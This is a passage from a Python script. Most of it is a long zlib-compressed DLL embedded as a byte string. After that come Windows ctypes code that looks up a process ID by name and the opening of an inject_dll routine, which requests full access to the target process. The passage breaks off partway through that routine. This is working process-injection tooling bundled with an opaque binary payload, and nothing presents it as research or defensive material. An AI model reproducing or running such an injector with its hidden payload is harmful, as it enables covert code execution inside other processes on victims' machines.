x47\xd7\xbf\x85\xce\x5f\x49\xf5\xc2\xfc\x90\xf6\xdb\x36\xa4\x06\xb4\x5f\x49\xdb\x87\x61\x88\xa0\xeb\x40\x4a\x58\x4b\xcb\xdf\x29\x97\x9f\x3d\x68\x79\x13\x0c\x60\xbb\xf8\xa1\x3c\x80\xa7\x15\x28\x25\x1d\x40\x70\xb0\xda\x92\x7a\xe7\xd7\xb9\xf4\x5b\x34\x62\x14\xae\xda\xdd\x3c\x0e\x33\x88\xca\xa7\x35\x39\xbc\x20\xea\xcb\xec\xfb\x67\xd4\xfc\xcb\xea\x87\xee\x0c\x3c\x97\xd1\xd4\x0c\xe5\x8f\xcc\xfb\x7a\xf5\x19\x8f\x42\x66\xc2\xb9\x9e\xe9\x53\xde\x37\xd3\xb5\xe7\xdb\x1a\xbd\x63\x9b\xfb\xeb\x37\x73\x1e\x1a\xd7\xd6\x5e\x91\xf8\x80\x95\xa0\xa6\x2b\x01\x3f\xfc\xd0\x55\xe0\xe8\x96\xb6\xba\xe9\xb7\x24\xf1\x03\x90\x30\x13\x25\xdc\x27\x1e\x83\xe4\xa2\x78\x3d\xa8\xe7\x5e\xba\x0a\x8c\xa3\x12\x17\xd6\xad\xd8\xc7\xe4\x5b\x14\xb3\xc0\x75\xd0\x98\xd6\x6e\x8f\x32\x84\x65\xaa\x8d\xb0\x00\xe0\x88\xd3\x08\x02\x1e\x70\x9c\x00\x01\xeb\xd9\x7c\x56\x34\x75\x8d\xc0\x7d\xda\xe9\x05\x25\x37\xc5\x1b\xa4\x79\xe1\xe8\x18\x8c\x90\xe6\xd1\x6f\x40\x22\xac\x6c\xd0\xc6\xc3\xef\x4a\x8b\x63\x60\x44\x7b\x17\xf1\x22\x13\xec\x8b\x71\x68\x07\x8c\xda\x44\xfb\xf5\xfc\x86\x4e\x9a\x73\x46\x11\x7e\x0a\x4d\xd1\xb7\x6b\x4e\x81\x12\x91\xb8\x74\x59\xc8\x09\x50\x5e\x7e\x3a\x3c\x50\xe0\x17\x8c\x16\x2f\x1a\x24\x7a\x56\xed\x46\xc7\x55\x82\xf3\x5d\x95\x56\xe3\xfd\xa3\x6c\x88\x74\xe8\x45\x0f\x50\x1f\x1c\xd7\x2a\xad\xcd\xcf\xc4\xa0\xb5\xe1\x71\xa4\x12\xab\xa6\x7a\x6f\x1d\x90\xa1\x55\x66\x98\x1e\xca\x90\xaf\x53\xed\xbb\x83\xf4\x7d\xa6\x46\xee\x1a\xd7\x01\xf9\xd8\x32\x8d\x7e\xc0\x39\x0c\xe7\x9a\x1c\x5e\x3e\xd7\xac\xc7\xaf\xfe\xe8\xb3\x78\x27\x61\x1c\xcf\xed\xf6\x4d\x6c\x7a\x1a\x13\x7d\xf8\x67\x21\x78\xde\x55\xe1\xde\xf3\xef\xc4\x0b\x3f\x0d\xce\xb7\xff\x54\x2e\xe7\xc7\x2f\x31\xdc\xc0\xf0\xe3\x0c\x6f\x64\xd8\xce\x70\x3e\xc3\x8b\x19\x9e\xcd\xf0\x74\x86\xc7\x33\x7c\x0d\xc3\x4a\x86\x3f\x79\x4a\xc6\x27\x18\x6e\x67\xb8\x89\xe1\x97\x9e\x0a\x94\xaf\xf3\xe2\xa9\xa0\x2d\xe1\xff\x7b\xfc\x4f\x71\x99\xf7\xb6\x78\x16\x6f\xf7\x3f\xba\xe0\xf7\x0b\xbe\x25\xf7\x07\x76\x0d\x74\x7f\x20\x1e\x32\x89\xa1\xf7\x07\x9e\x4c\xb9\xe4\xfd\x01\x8f\xdc\x99\x65\x86\x2b\xbc\x3f\x00\x9d\x29\x24\x72\x6c\xfc\xf3\xc0\xb8\xbd\x89\x90\x1d\x81\x4a\xde\x71\x69\xdd\xa4\xa7\x0f\x7c\x7f\xa0\x72\x2b\xac\x59\x72\xf9\xfb\x03\x71\xa3\x99\x40\xf1\x97\xbe\x3f\x90\xe7\x1f\x4b\x25\xd3\xd1\x20\xf7\x07\x7a\x54\x6c\x30\x31\x24\x7b\xc3\xe0\xf7\x07\x68\x1f\x4d\x8c\x9f\x66\xf0\xfb\x03\x63\x14\xac\x71\x2c\x37\x7e\xf0\xfb\x03\x71\x0a\x76\x6f\xe1\x32\xf7\x07\x0a\x49\xc0\xbd\x05\xed\xe0\xf7\x07\xe8\x98\xb8\x59\x3f\x6e\xbe\xcc\xfd\x81\x7a\xc6\x6f\xf2\xe0\xf7\x07\xd2\x49\xc0\xbd\x85\xa9\xc3\xf7\x07\x06\xbc\x3f\x90\x1b\x7a\x7f\x20\xb7\xff\xfd\x81\xbb\xa6\xd3\xd8\x7d\xf6\x86\xa1\xde\x1f\xb8\x61\x7a\xc8\xfd\x81\x5c\xff\xfd\x01\xcf\xa8\xab\xbc\x3f\xf0\x6a\x0a\x95\xa1\xad\x7a\xa8\xf7\x07\x9e\x4a\x19\xe0\xfe\x40\xa3\x4a\xbe\x3f\xb0\x12\xd2\x19\xa3\x02\xee\x0f\x3c\x4f\xd9\xc7\x6e\x05\xe4\x9d\x39\xaa\xf7\xfe\x40\xb9\x4c\x5e\x8e\xe4\x1b\x81\xec\xed\x50\x0e\x70\x7f\xa0\x4b\x77\xe9\xfb\x03\x2b\xff\xe1\xf7\x07\x5e\xd3\x05\xdc\x1f\xc0\xce\x14\xc5\x5d\xf2\xfe\xc0\x67\xdc\x10\xee\x0f\x18\x74\x21\xf7\x07\x1e\x08\xbc\x3f\x10\xc1\x5d\xc1\xfd\x81\xce\x69\xf4\x73\xc1\x27\xd3\xae\xe0\xfe\xc0\xf6\x91\x97\xba\x3f\xb0\x79\xe4\x65\xee\x0f\x58\x46\x5e\xe6\xfe\xc0\x0a\xd0\x4d\x31\x37\x84\xfb\x03\xe8\xaf\x81\x59\x69\x51\xa0\xa1\xc1\xf8\xb7\xf3\xc3\xc4\x16\x83\x36\xe6\xd6\x41\x02\x0e\xec\x6b\xfa\xf6\x31\x97\x8a\x2f\x6c\x1e\x13\x14\x5f\xa8\x1c\x33\x84\xf8\x42\xd6\xd4\xaf\x16\x5f\x08\xf3\x5d\x65\x7c\xe1\xf4\xfd\xc1\xf1\x85\xb7\xef\xbf\xaa\xf8\x82\x73\xca\x50\xe3\x0b\x99\x29\x34\xbe\x30\x3b\xe5\x9b\x8c\x2f\xc4\xcb\xf1\x85\x05\x93\x64\x3f\x5c\x08\x8e\x2f\x9c\x0b\x8a\x2f\xa8\x21\xe7\x9d\x10\x12\x5f\x38\xbf\x3c\x34\xbe\xd0\xb9\xfc\x1f\x1f\x5f\xf8\xc9\xf2\x2b\x89\x2f\xac\x5a\x1e\x1c\x5f\x78\x6e\xdd\x65\xe3\x0b\xd3\x96\x5f\x51\x7c\x41\xb5\x3c\x24\xbe\x30\x73\x9d\x3f\xbe\x10\xbd\x8e\x9a\xdb\x8a\x5b\x07\x89\x2f\xec\x5f\xe6\x8f\x2f\x24\xde\xda\x3f\xbe\x70\x32\xf9\x0a\xe2\x0b\x6b\x96\x5d\x22\xbe\xb0\x64\xd9\x90\xe2\x0b\x61\x93\xa8\x71\x8d\x99\xc4\xe2\x0b\x13\x96\x05\xc7\x17\xbe\xb7\xec\xab\xc6\x17\xb6\xde\xfa\x0d\xc4\x17\x1e\xf9\xda\xe3\x0b\xb7\x86\xc4\x17\x3e\xba\x2f\x28\xbe\x30\x69\x6d\x68\x7c\xe1\xe0\x7d\x43\x88\x2f\x3c\x7f\xdf\x55\xc6\x17\x26\x25\x5f\x4d\x7c\x41\xf8\x1a\xe3\x0b\x51\x51\x5f\x57\x7c\xe1\xdf\xaf\x22\xbe\x50\x71\xcb\x57\x8c\x2f\x28\x6f\xe9\x1f\x5f\xd8\x79\xf3\x10\xe2\x0b\xa3\xe8\xd5\x85\xae\xd5\x74\x9d\x9d\xcc\xe9\x8b\x2f\x90\x35\xd4\x61\x38\xb2\x7a\x88\xf1\x85\xd6\x9c\xa0\xf8\xc2\x8b\xab\xfb\xc5\x17\x1e\xcd\xb9\xa2\xf8\xc2\x9a\xc1\xe3\x0b\x2b\x72\x02\xe2\x0b\xd3\x56\xf7\xc5\x17\x26\xe4\x50\xf3\x36\x33\xa7\x37\xbe\x30\x2a\x07\xfb\x37\x61\xf5\x10\xe2\x0b\x1f\x65\x0f\x12\x5f\x38\x93\x8d\x3c\x5a\x1c\xd4\xf3\xf4\x64\x7f\xc5\xf8\xc2\x73\x72\x7c\xe1\x69\xca\xf4\xc7\x8e\x90\xf8\x82\x39\x7b\xa8\xf1\x85\x1f\x64\x07\xc6\x17\xa6\x64\x0f\x1e\x5f\x48\xc8\xee\x17\x5f\x50\x66\xfb\xe3\x0b\xe7\xb3\xfc\xf1\x85\x0f\xb2\x06\x8c\x2f\x9c\x0f\x8d\x2f\xfc\x77\x16\x8d\x2f\xbc\x9c\xe5\x8f\x2f\xbc\x98\xe5\x8f\x2f\xfc\x5c\xbc\xda\xf8\x82\x2b\x0b\xeb\x57\x88\xff\xf4\xf1\x05\x53\x60\x7c\xe1\x36\xed\xd7\x1f\x5f\x38\x35\xa4\xf8\xc2\x0b\x13\xbe\xd9\xf8\x42\xf2\x84\x2b\x8b\x2f\x7c\x36\xfe\xff\x36\xbe\xe0\x1a\x7f\x65\xf1\x85\x65\xe3\xbf\x5d\xf1\x85\x7d\xe3\xbe\xc3\xf1\x05\x6a\x62\x9a\xbf\xd5\xf1\x86\xcc\x91\x97\x8f\x37\xec\x19\x3b\x68\xbc\xe1\x1a\x1b\xfb\x4e\xcf\xf0\xe9\xb2\x60\xfc\xb3\xab\xc2\x7d\xf1\x85\x79\x21\xf9\xf1\xac\x9c\x1f\x2b\x19\xfe\xa4\x94\xc5\x05\x18\x6e\x67\xb8\x89\xe1\x97\x18\x6e\x60\xf8\x71\x86\x37\x96\x06\xc5\x0b\x46\x74\x7f\xa7\xe2\x05\x97\x8b\x1f\xd4\x67\xb0\xef\xeb\xec\xf1\xb1\xc7\x9f\x57\x86\x94\xd7\x86\x32\x1c\x1f\x5c\x7f\xf8\xf9\x76\x3f\xbf\xf9\x8f\x3f\xff\xf5\x23\xdf\xa8\xf1\xb7\x19\x72\x2c\x6b\xb6\xfc\xcb\x00\xf1\xa3\xcb\x8c\x67\xbd\xfc\x5e\xcd\xb0\xd1\x26\xe3\xb6\x8c\xa1\xcd\x83\x05\xc5\xa5\xab\xd6\x4c\x59\xf3\xfd\xdb\x31\x48\x24\x16\x97\x08\x1a\x8b\xb9\xd8\xea\xb0\x0b\x77\x46\xcb\xfe\x45\x61\xa1\x5d\xa8\xa8\xd0\x4c\xb4\x69\x8a\xcc\x15\x9a\xd2\x32\x4d\x71\x89\x79\x95\x30\xa5\x42\x28\x10\x8b\xcb\x4a\x89\x46\xb3\xa4\xd8\x2e\x3a\xcc\xd6\x45\x0e\xc1\xbe\x96\x56\x16\x0a\x35\x96\x32\xbb\x66\x62\xa1\x26\x7f\xad\x28\x54\x68\xcc\xa2\xc6\xdc\xcb\xa5\x37\x96\xe2\xaf\x67\xb2\x97\x89\xc0\xcb\x5f\x73\x4d\xb1\x58\xa4\x29\x28\x2b\x14\x34\xba\xca\x89\x95\x58\x2e\xa7\xf4\x47\xa5\x65\x6b\x4a\x35\xb6\x0a\xc1\x51\x58\xa6\xa1\xf1\x03\x33\xb6\x8d\x81\x2e\xb1\xac\xa0\xcc\xaa\x59\x2d\xd8\x2b\x90\x30\xb1\x70\x6a\x74\x2f\xff\xc1\xeb\xe5\x17\x8b\x9a\x8a\xe2\x07\x85\xc0\xf2\x28\x2d\x90\xfb\x17\x06\xe9\xa1\xef\x65\x0e\x51\x53\x66\xd1\xd8\xcd\xa5\xab\x84\xc9\x1a\xd1\x6c\x5f\x25\x88\xa0\x39\x78\x35\x59\xb3\xb6\x58\xb0\x16\x62\x46\x2c\x12\x34\xab\xcd\x56\x07\x30\xb6\xf9\x19\xfb\xb5\x2a\xd8\xed\x54\x27\xd1\x21\xfa\xd7\xe9\x82\xc7\xa9\xba\xdf\xb8\x5d\xfa\x7d\x68\x5e\x93\x1e\x9c\x37\xd9\x82\xf3\xda\x90\xf6\x74\x21\xef\x53\x43\xf2\xcf\x87\xf0\xdf\x11\x92\xdf\x15\x92\xf7\x84\xe4\xef\x99\x33\xe7\x4e\x4d\xd2\x3d\x0b\x73\x92\x35\x29\xdf\x9f\x9a\x32\x35\x24\xfc\x39\xfc\x7e\xf8\xfd\x37\xfa\xbe\x77\x7f\x9d\x70\xe9\x7d\x77\xa8\x8f\xdf\x5e\x9b\xe2\x87\xb8\x0f\x83\x37\xab\xbe\x46\x8e\xe9\x62\x8c\xfd\x22\x40\x1c\xc6\x77\x47\x13\xc2\x01\x68\xf2\xe4\x98\xf4\x18\x00\x2d\xa4\x35\x80\xc7\x01\x24\x41\x5a\x07\xf8\x6e\x80\xc9\x90\x4e\x07\xbc\x08\x40\x07\xe9\x3c\xc0\x0d\x00\xa9\x90\xde\x01\x78\x7c\x3c\xbc\xc7\xf2\x80\xef\x05\x30\xe6\xa1\x7c\x84\x08\x00\xa6\x3c\x94\x99\x90\x2e\x80\x6c\x48\x77\x03\x3e\x0b\x90\x87\x32\x24\x10\xb2\x12\xa0\x10\x79\x02\x6e\xba\x16\xca\x42\xba\x0d\xf1\x0d\x84\x54\x41\xba\x1a\xf0\x29\x80\x27\xb1\x2e\xe0\x4d\xdf\x23\x04\x7f\xeb\xea\x06\x3c\x6e\x0c\x21\xbf\xc3\x76\x01\x8f\xbf\x91\x90\x57\x50\x4e\xc0\x73\x00\xfe\x80\x32\x00\xae\x02\xf0\x20\x1f\xc0\x6d\x00\xbb\xf3\x64\x6c\xb9\x89\x90\x56\x94\x0d\xf0\x7b\x00\x87\x91\x3f\xe0\x1b\xc1\x31\x3e\x8e\x7a\x00\xfc\x08\x40\x07\xb6\x05\xd8\x03\x70\x32\x4f\xc6\x7a\x0d\xf8\xcb\xc8\x1f\xb0\x1a\x0e\x43\x1f\x62\x1a\xf0\x12\x80\x6e\xec\x0b\xe0\x27\x00\x3e\x85\x74\x3d\xe0\x93\x00\xc4\x0c\xef\x00\xf7\x00\xc4\x98\xe5\xd8\xfa\x54\x80\x38\x4c\xc3\x81\x55\x05\x90\x68\xfe\x1a\xfc\x3f\xb5\x8a\xa8\xf3\xc3\x75\x61\x79\x4a\x9b\xc2\x34\x40\x9e\x84\x40\xb8\x82\x84\x8f\x67\x78\x36\xe0\x88\x30\x12\x31\x5b\xa9\x53\xe4\x05\x94\x09\xa5\x61\x3e\x9f\xe5\x23\xc3\x49\xe4\xe3\x61\x3a\x65\x9e\xc2\xa6\x18\x1d\x95\x31\x3a\x6c\xa4\x3d\x5a\x17\x95\xa7\xb6\x45\x7a\x54\x6d\x61\x1d\xbd\x32\xcc\x0e\x90\x01\xdb\xca\x0f\x68\xd3\x9f\x0f\x94\x2b\xb4\x0e\xb9\x04\xa0\x0c\x8b\x99\x0c\x98\xb6\xb3\x34\xbe\x53\x29\x89\x6a\xba\x42\xa7\xf8\x0e\xf9\x80\xfe\xbb\x37\x33\xab\x65\xfd\x28\x19\x24\x41\x5e\x07\x90\x5a\x2d\xaf\x6f\x5c\xef\xf7\x40\x3a\xab\x5a\x3e\x39\x14\x09\x56\x9b\x60\x9f\x5a\x68\xb5\x12\x83\xa3\xa4\x64\x6d\x46\xa5\xad\xcc\x2e\x92\x7b\x04\x31\xa3\xb4\xc0\xbe\xd6\x86\xfe\xcb\x7c\x61\xed\xb0\x93\xfd\x2d\x7e\x02\x4f\xbc\xea\x27\xe5\x7b\x4a\x1d\x01\x34\x0d\xd0\x5a\x81\xd6\x13\x40\x33\x00\xad\x03\x68\xea\xad\x7d\xb4\x1a\xa0\x75\x43\x9e\x0f\xa0\xed\x00\x9a\xee\x71\xb0\x77\x01\xb4\xc3\x40\xe3\x1f\x1f\x5c\x9e\x3c\xf6\xae\x92\x61\x37\xc3\xf5\x0c\xff\x81\xe1\x43\x0c\x1f\x67\xf8\x34\xc3\x9f\x87\xf0\x8e\x79\x42\xc6\xd7\x3e\x11\x4c\xbf\x29\x24\x9f\xc4\xf2\xe9\x0c\xf3\x0c\x17\x32\x6c\x63\xf8\x21\x86\x7f\x16\x52\xbf\x81\xe5\x5f\x09\xa1\xff\x85\xe5\x0f\x3f\xf1\xdd\xec\xe7\x2d\x0a\x83\x60\x15\x44\x61\x8e\xbd\x58\x2c\x2e\x30\x5b\xb3\xd8\xb9\x6d\x81\x22\xa3\x54\x14\xec\xa1\x64\xb2\x45\x09\xe6\xc3\x68\xae\x10\x33\xf0\xc0\x42\xc8\x53\x61\x99\xa5\x50\xc4\x6c\x85\xf3\x52\x68\xe1\x4f\xc3\x8c\x82\x79\x75\x3f\x32\x79\x41\x95\x65\x15\x04\x1b\x79\x43\x95\x6d\xad\x00\x76\x4b\xf0\x4c\x44\xbe\x50\x05\x9f\xf8\xc0\xc7\x52\x05\x9e\x1d\xf1\x1a\x1d\x70\xa1\xb7\xc3\xae\x27\x16\xbb\x20\x80\x96\xc2\x4b\x84\x92\x02\xdb\x5a\xdc\x8e\x73\x85\x4a\xa1\xc0\x21\x0a\xb9\x65\xa5\x42\x65\xb1\x98\x2b\x9a\xf3\xad\x02\x6c\xcd\xb9\x98\x23\x33\x48\x6e\x71\xaf\xa0\xc1\x45\xc8\x1d\xf2\x3b\xe8\x6e\x09\x49\xed\x4b\xe7\x0a\x64\x16\xc9\xb5\x0b\xab\x8a\x2b\x20\xeb\xaf\x63\x71\x94\xca\xdd\x58\x42\xcc\xf9\x68\x4e\x09\xc9\xcd\x35\x17\xd8\xc5\xdc\xe2\xb2\x7c\xfa\x96\x84\x01\xa5\x42\x2c\x2c\x2e\xcb\x2d\x28\x2b\x29\x29\x2b\xcd\x5d\x6d\xb1\xd9\x8b\x4b\x45\x0b\x79\x9e\x54\x88\x76\xab\x00\x3a\xf8\x2d\xa6\x4a\x0b\x4a\x6c\xec\x4e\xe3\xe5\x60\x7e\xc6\xe2\x85\x19\xc6\xdb\xa6\x53\x6b\x8e\xd7\x0f\xdd\x32\x98\x6d\xc5\x53\x4a\x2a\xa6\xac\x29\x2e\x9d\x02\x32\x4c\x29\x12\xcc\xb6\x29\xd6\x94\x29\x29\x53\x74\x72\xc9\xa4\xfe\x65\x40\x96\xd5\x66\x51\x08\x2a\x46\x66\xba\x07\x87\x90\xfa\xec\xc8\x1a\x5c\xdf\xe4\x96\x21\xa4\x2c\x55\x43\x60\xc9\x42\x28\x53\x38\x50\x39\x50\xd0\xaa\x60\x96\xc3\xcf\xf0\x33\xfc\xc0\x81\x34\x06\x8f\x81\xf5\xa6\x7a\xbc\xf8\x7a\x3b\xee\xf9\xf5\xe9\xf5\x3c\xe4\x97\xd6\x93\x86\xb8\x06\x4d\x83\xae\x21\xbd\xc1\xd4\x90\xd7\x60\x6b\xa8\x6e\x70\x37\xd4\x37\xec\x68\xf0\x34\xb4\x35\x6c\xd9\xde\xb6\xfd\xf0\xf6\x61\x05\xfe\x3f\x0b\x00\x84\x3c\xa7\xca\xd5\x27\x2d\x42\x5e\x65\x65\xa5\x69\xb1\xc9\x3e\x7d\xf1\x4b\xe5\x2b\xc7\x1f\x2a\x8f\x9a\x2e\x02\xac\x03\xa8\x2a\x8f\xfa\xbe\xbd\xfc\x5f\x1e\x4d\x49\x39\xb8\x52\x5f\xbe\x32\xef\x8c\x2f\xfb\x7c\xea\x17\x55\xa6\x74\xfd\x11\xd3\xd2\x74\xed\x9e\xe9\xa6\xc5\x58\x2a\x4a\xe7\x2b\x5f\x9a\x1f\x55\x54\x0c\x8c\xca\x5b\xf3\xce\x3d\x09\x39\x7b\x54\xf9\xba\xee\x28\x5b\xd5\xa2\xa5\xf9\xe1\x2f\x95\x6f\xd6\x9b\xa2\xbe\x2c\x2e\x5f\xda\xc0\xf8\x30\x0e\x0f\x17\xbe\x3d\xf7\xe3\xc4\x8f\x3f\x5f\xdb\x96\x3b\xfb\xed\x82\x0a\x28\xff\x39\x94\x7f\xc5\x14\xf5\x59\x39\xa4\x2f\x42\xda\x14\xd5\x03\xd5\xf2\x4d\x15\xa6\x8a\x97\xb3\x6e\x03\x94\x65\xba\xad\x5c\xfd\xb7\x2a\xd3\xf4\xcd\x85\x90\xb9\xad\x3c\xea\xce\x8c\xc7\x37\x6f\xde\xfc\x66\xf9\xb4\xf8\xb7\x3e\xfd\xe3\xa1\x35\x87\x2a\xcb\xf7\xed\x5b\xba\x14\x7a\x34\x6d\x65\xd4\x4f\xb6\x6c\x6e\x2a\x87\x16\xa7\x41\x9e\x3e\x21\xef\x3a\x1c\xc1\xbf\x9f\xb8\xd2\x78\x48\x5b\x72\xc8\xef\x2f\xfe\xc1\x4f\xa9\x08\x9b\x19\xdd\xd0\x16\x8a\x7a\x2b\xfd\x6a\x2c\x30\xaf\x66\x81\x50\x52\x06\x6e\xcd\x42\xf1\x3e\x70\x90\xfa\x11\x99\x17\x14\x4a\x9e\x63\x17\x80\x43\x76\x11\xa0\xc2\x8c\xca\xcb\x9f\xe5\x4c\x63\x2e\xd3\xbf\x36\xf9\xbd\x9a\xe1\xaa\x7a\x19\xc7\xad\x1e\x9a\x5e\x86\xe3\x03\xdf\x6c\x7c\xa0\xda\x1c\x3c\x4e\x1e\x47\xe8\xb8\x5d\xfa\x7d\x68\xbe\xda\x16\x92\xaf\x0f\xce\x8b\x21\xed\xe5\x85\xbc\x2f\x0a\xc9\x7b\x43\xf8\x77\x87\xe4\x7b\x42\xe5\x0d\x99\x77\xc3\xdf\xa7\x87\xdf\x7f\x1b\xbe\xff\xc7\x4d\xba\xf4\x3e\x33\xd4\xc7\x6f\x8f\x75\x63\xbe\xde\x7d\x67\xf8\xf9\x96\x3c\xfe\xf8\x8d\x3b\x20\x7e\xe3\x0e\x88\xdf\xb8\x03\xe2\x37\xee\x80\xf8\x8d\x5b\xfe\xa6\x9b\x1f\x4f\xc8\x64\xb7\x1c\x83\x39\x04\x70\x3b\xa4\x3b\x00\xe7\x24\xc8\x67\x73\x8c\xbb\xfc\xfd\x3a\x42\x78\xe4\x99\x48\xc8\x9d\x00\x79\x58\x17\xf0\x0a\x80\x22\x2c\x83\xff\x9f\xf4\x7a\x42\xac\x90\x6e\x03\xdc\x74\x03\x21\x35\x98\xbe\x41\xfe\x7f\xc8\xf8\x8d\x31\x1d\xf0\x46\x80\xa7\xdd\x72\x6c\x46\x39\x86\x90\x7a\x94\x0d\xf0\x34\x8c\xd3\xb8\xe5\x38\x4d\x06\xc0\x0e\x3c\xeb\x03\x3e\x00\xf0\x0a\xf2\x01\xfc\x26\x80\x07\x65\x03\x7c\x37\xc6\x69\xdc\x72\x2c\xa7\xe1\x26\x78\x0f\xe9\x1d\x80\x4d\xe3\x09\x39\x8e\xf2\x00\x6e\x01\xf8\x14\xeb\xe2\xe5\xb8\x09\x84\x84\x6f\x85\x3e\x02\x56\x80\x83\x16\x03\xe9\x38\xc0\xca\x89\x84\xc4\x43\x5a\x03\x78\x02\xc0\x18\x48\xeb\x00\xaf\x00\xd0\x40\x3a\x0f\xf0\x0e\x00\xed\x56\x19\xcf\xbd\x19\xf4\x06\x69\x13\xe0\x46\x80\x54\x48\xb7\x01\xfe\x02\x60\x26\x7e\xe3\xbc\x05\x74\x00\x90\x8e\x6d\x01\xae\x07\x30\x6c\x95\xf1\xb8\x24\xf9\xdb\xa8\x0e\xb0\x17\xc0\x88\xe9\x64\x42\x0a\x00\x4c\x58\x1e\xf0\x2b\x00\x2b\x20\xed\x01\xdc\x0a\x50\x84\xfc\x01\x7f\x09\x60\x45\x99\x27\x11\x92\x00\x20\x6e\xbd\xca\xf8\x4d\x68\xfc\x24\x30\x4e\x13\x17\x45\xe2\xf2\x63\x74\x23\xf2\xa2\x6d\x51\x26\xb5\x27\xa2\x2d\xbc\x43\xd9\x1d\x10\xef\xc1\xfa\xd7\x46\x91\x6b\xb7\xa8\x48\x5c\x65\x38\x19\x51\x04\x75\x9b\x58\x5d\xe4\xb3\x91\xa5\xff\xd9\xe3\x43\xff\x84\xb1\x21\xff\xff\x5e\x6f\xdf\x21\xf7\x61\x14\x83\x24\xc8\x5b\x01\x76\xec\x90\xd7\x25\xae\x53\x5c\xb7\xb8\xa6\x3b\xd8\x6f\xab\x6d\x2c\xd6\x9a\xae\xc3\xbb\x20\x80\xeb\xa1\x1e\x80\x0e\x20\xb5\x5e\x8e\xdb\x6a\x00\x6b\xe0\xdd\x29\xe0\x73\x16\xdb\x78\x11\xf8\x03\x4c\x00\xb8\x03\xc0\x00\x60\x02\xc8\x07\xb0\x03\x6c\x04\xf8\x39\xc0\xef\x01\xf6\x00\x1c\x03\x38\x05\xf0\xd1\x8b\xf2\x81\x53\x49\xc2\x48\x38\x51\x91\x08\x12\x49\xd4\x24\x8a\x44\x93\x11\x24\x86\xc4\x92\x91\x84\x03\x73\x56\x21\x0a\x66\xab\x58\x94\x5b\x5c\xfa\x43\xf0\xbb\xcb\xe4\xf8\x92\xde\x56\x30\xc7\x6c\xb5\xe6\x9b\x0b\x7e\x44\xe6\x38\x2a\xc4\xb2\x12\x83\x40\x8f\x25\xc4\x20\xd8\x8b\x57\x0b\x4b\xcb\xec\xfa\xd2\xc2\xc5\x65\x22\x59\x2c\x58\xac\xe8\xfb\xaf\x16\x8c\x65\xe6\x42\x83\xd1\x48\xb2\x04\xd1\x61\x5b\x88\xe7\xa4\xb9\xec\xdb\x6a\x05\xc9\x92\x1b\x31\x08\x56\xf3\x5a\x92\x6d\xad\xe8\x65\x2e\xc8\xa7\x1d\xa1\x30\xd7\x66\x5e\x6b\x05\x0e\x2c\xca\x95\x0b\xd5\x73\xe9\x4f\x91\x03\xf2\xe8\xa4\x13\xdb\x60\x07\x2f\x5b\xbf\xd3\x94\x6d\x90\x63\x97\x6d\xc0\x33\x1a\x13\x20\x17\xbf\xe7\x96\x3b\x04\x87\x50\x48\x44\x6b\x45\x6e\x81\x5f\x54\x39\x6e\xe0\x09\xf8\x94\xb3\x47\xfe\x3f\xf5\x9a\xc6\x3e\x1a\x0f\x34\xbe\x09\xc6\x32\x80\x66\x05\x5a\x1e\xd0\xf8\x00\xda\xef\x80\x66\x03\xda\x96\x00\xda\x61\xa0\xed\x00\x5a\x7d\x00\x8d\xec\x05\xdb\xd4\x34\xf8\x5c\xec\x60\xef\xba\x19\x56\x37\xb3\xf3\x0e\xc3\xb7\x33\x6c\x60\x78\x29\xc3\x3f\x64\x78\x13\xc3\xbf\x62\xf8\xdf\x18\xfe\x4f\x86\xf7\x32\x7c\x88\xe1\x93\x0c\x7f\xc2\x70\xf8\xee\x60\x79\xe2\x59\xfe\xa6\x10\xfa\xcd\x21\x79\x1d\xcb\xf3\x0c\x9b\x18\xb6\x32\x5c\xc9\xf0\x26\x86\x1b\x42\xea\xff\x86\xe5\xff\x10\x42\x7f\x9b\xe5\x3b\x76\x0f\xeb\xe9\x6a\xf4\x14\xa9\x08\x5c\x43\x57\x1e\x4f\x9a\x89\xf1\xa4\x39\x0e\xbb\x5d\x28\x15\xfd\x3c\x42\x63\x4c\xbf\xc2\xfc\x82\xb2\x42\x87\x55\xe0\xcd\xa5\x85\x56\x41\x4f\xc8\x51\xa4\xc1\x62\x2d\x60\x1f\x18\xae\x2e\x12\xd5\x13\x86\x46\xc8\x58\x9c\x6f\x37\xdb\xd7\x02\xd7\x27\xc2\x17\xe1\x42\xce\xa9\x10\xec\x7a\xd3\x9c\xc1\x22\x55\xe7\xfd\x71\x29\xbd\x1c\x8d\xba\xe0\xcf\xcf\xc5\xa0\xd4\x77\x38\x8e\xe5\xf9\xea\xd0\x2f\xce\xe5\x91\xe1\xb2\x71\x2e\xcf\x10\xe3\x5c\x9e\xc1\x61\x48\x71\x2e\x8f\x0c\x97\x8d\x73\x41\x99\x42\xcf\x70\x9c\x6b\xf8\x19\x7e\x86\xe3\x77\xb2\x8f\x8e\x77\x38\x31\x9d\xf7\x6c\xfd\xb3\xf8\xbf\x77\x6e\xa7\xdf\x57\xeb\xeb\x9f\xaf\xdf\x51\xbf\xab\x3e\x34\x7e\xd7\xd1\xd0\xdd\x40\xb6\xc5\x6d\xd3\x6c\xd3\x6d\x6b\xdd\x1e\xf7\xeb\xc4\x5f\x0f\x2b\xf3\x9f\xef\xf9\x5f\x54\x36\x39\x07'
def get_dll_bytes():
"""Распаковывает встроенную DLL"""
return zlib.decompress(COMPRESSED_DLL)
# ====================== STRUCTURES ======================
class PROCESSENTRY32(ctypes.Structure):
_fields_ = [
("dwSize", ctypes.c_ulong),
("cntUsage", ctypes.c_ulong),
("th32ProcessID", ctypes.c_ulong),
("th32DefaultHeapID", ctypes.c_void_p),
("th32ModuleID", ctypes.c_ulong),
("cntThreads", ctypes.c_ulong),
("th32ParentProcessID", ctypes.c_ulong),
("pcPriClassBase", ctypes.c_long),
("dwFlags", ctypes.c_ulong),
("szExeFile", ctypes.c_char * 260),
]
# ====================== FUNCTIONS ======================
def get_pid_by_name(process_name: str) -> int:
kernel32 = ctypes.windll.kernel32
snapshot = kernel32.CreateToolhelp32Snapshot(0x00000002, 0)
pe = PROCESSENTRY32()
pe.dwSize = ctypes.sizeof(PROCESSENTRY32)
if kernel32.Process32First(snapshot, ctypes.byref(pe)):
while True:
if pe.szExeFile.decode('utf-8', errors='ignore').lower() == process_name.lower():
kernel32.CloseHandle(snapshot)
return pe.th32ProcessID
if not kernel32.Process32Next(snapshot, ctypes.byref(pe)):
break
kernel32.CloseHandle(snapshot)
raise ValueError(f"Process '{process_name}' not found")
def inject_dll(pid: int, dll_path: str):
kernel32 = ctypes.windll.kernel32
ntdll = ctypes.windll.ntdll
h_process = kernel32.OpenProcess(0x1F0FFF, False, pid)
if not h_process:
raise ctypes.WinError()
try:
path_bytes = (dll_path + '\0').encode('utf-16le')
size = len(path_bytes)
